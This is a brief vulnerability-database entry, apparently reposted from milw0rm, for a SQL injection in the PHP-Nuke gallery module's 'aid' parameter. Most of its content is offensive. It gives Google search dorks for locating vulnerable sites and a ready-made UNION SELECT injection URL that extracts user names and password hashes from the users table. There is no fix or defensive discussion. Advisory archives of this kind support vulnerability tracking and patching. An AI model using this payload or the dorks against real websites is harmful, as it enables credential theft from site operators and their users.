Lucene search

K
securityvulnsSecurityvulnsSECURITYVULNS:DOC:19257
HistoryFeb 24, 2008 - 12:00 a.m.

php nuke gallery SQL Injection(aid)

2008-02-2400:00:00
vulners.com
13

###############################################################

php nuke gallery SQL Injection(aid)

###############################################################

AUTHOR : S@BUN

HOME : http://www.milw0rm.com/author/1334

MAİL : [email protected]

################################################################

DORK 1 : allinurl:"index.php?module=gallery"aid

DORK 2 : allinurl:

################################################################
EXPLOIT :

index.php?module=gallery&command=showalbum&aid=-9999999//union//select//concat(name,0x3a,pass),1,2,3,4,5//from/*/users/where%20admin1/

################################################################

S@BUN i AM NOT HACKER S@BUN

################################################################